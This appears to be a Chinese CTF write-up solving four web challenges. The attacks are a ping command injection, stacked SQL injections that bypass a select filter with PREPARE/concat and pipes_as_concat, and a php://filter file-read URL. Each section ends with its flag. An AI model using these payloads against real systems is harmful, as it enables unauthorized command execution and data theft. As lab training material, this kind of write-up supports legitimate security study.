目录
[ACTF2020 新生赛]Exec
[强网杯 2019]随便注
[SUCTF 2019]EasySQL
[极客大挑战 2019]Secret File
[ACTF2020 新生赛]Exec
启动靶机,发现是让我们ping测试,输入127.0.0.1测试
猜测,执行语句是ping加上我们输入的地址,那我们尝试在地址后面构造语句来访问/flag
127.0.0.1;cat /flag
拿到flag flag{be1d042a-b38f-4b54-8e60-50cb23a79e27}
[强网杯 2019]随便注
启动靶机,发现一个输入框,还有个查询按钮,经过数字,引号测试,感觉存在sql注入
order by 测列数
1' order by 3#
到3的时候报错,也就是两列。那我们按照sql注入步骤来
1' union select 1,2#
发现有狗,过滤了select,update,delete,drop,insert,where和一些符号
但是好像没有过滤show,那我们尝试用show构造sql注入语句
堆叠查询:
1';show tables;#
图示可知含有两个表 1919810931114514和words(上半部分是1查询结果,下半部分是show tables的结果)
1'; show columns from `1919810931114514`#
发现了个名叫flag的列,感觉答案应该是在这里了,但是查询flag呢,必须要用到select语句,考虑用拼接来绕过select
1';PREPARE dingzhen from concat('s','elect', ' * from `1919810931114514` ');EXECUTE dingzhen;#
拿到flag flag{5e601467-fa75-40f0-99ce-2eba623b8ba3}
[SUCTF 2019]EasySQL
启动靶机,我们直接输入flag尝试,返回的结果
输入1
再测试一些字母,字符,返回的都是nonono或者空,猜测此处应该是有sql注入,但是过滤了一些关键词,比如select,union。既然有过滤机制,那就先尝试堆叠注入,爆表
1;show tables;#
有个flag的表,但flag这个关键词被过滤了,在我想了多种绕法后,搜了一下别人的wp,具体思路是尝试了几次后发现,只要输入非0的字符就会得到会显,猜测后端sql语句中含有||,
解法一: 内置的sql语句为sql="select".sql="select".post[‘query’]."||flag from Flag";
输入:
*,1#
这样最终的sql语句就变成了: select *,1 from Flag
解法二: set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串
输入:
1;set sql_mode=pipes_as_concat;select 1#
拿到flag flag{57739be5-9064-4365-9e47-2b6c62abf139}
[极客大挑战 2019]Secret File
启动靶机,如下页面
先右键查看源代码
倒数第四行,有个php文件,直接点击访问一下
发现倒数第六行有个php文件,点击一下
期间跳转了个页面,但很快啊,打开burp抓到跳转的那个包。发送
有一个被注释的php文件,访问看看
好家伙,原来在flag.php里,那我们直接访问看看
竟然啥也没有,那我们用php伪协议访问一下flag.php
url构造:
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
复制下来,打开base64在线工具,进行解密
拿到flag flag{bb6e2926-b3e1-41fa-a802-14899b24c77e}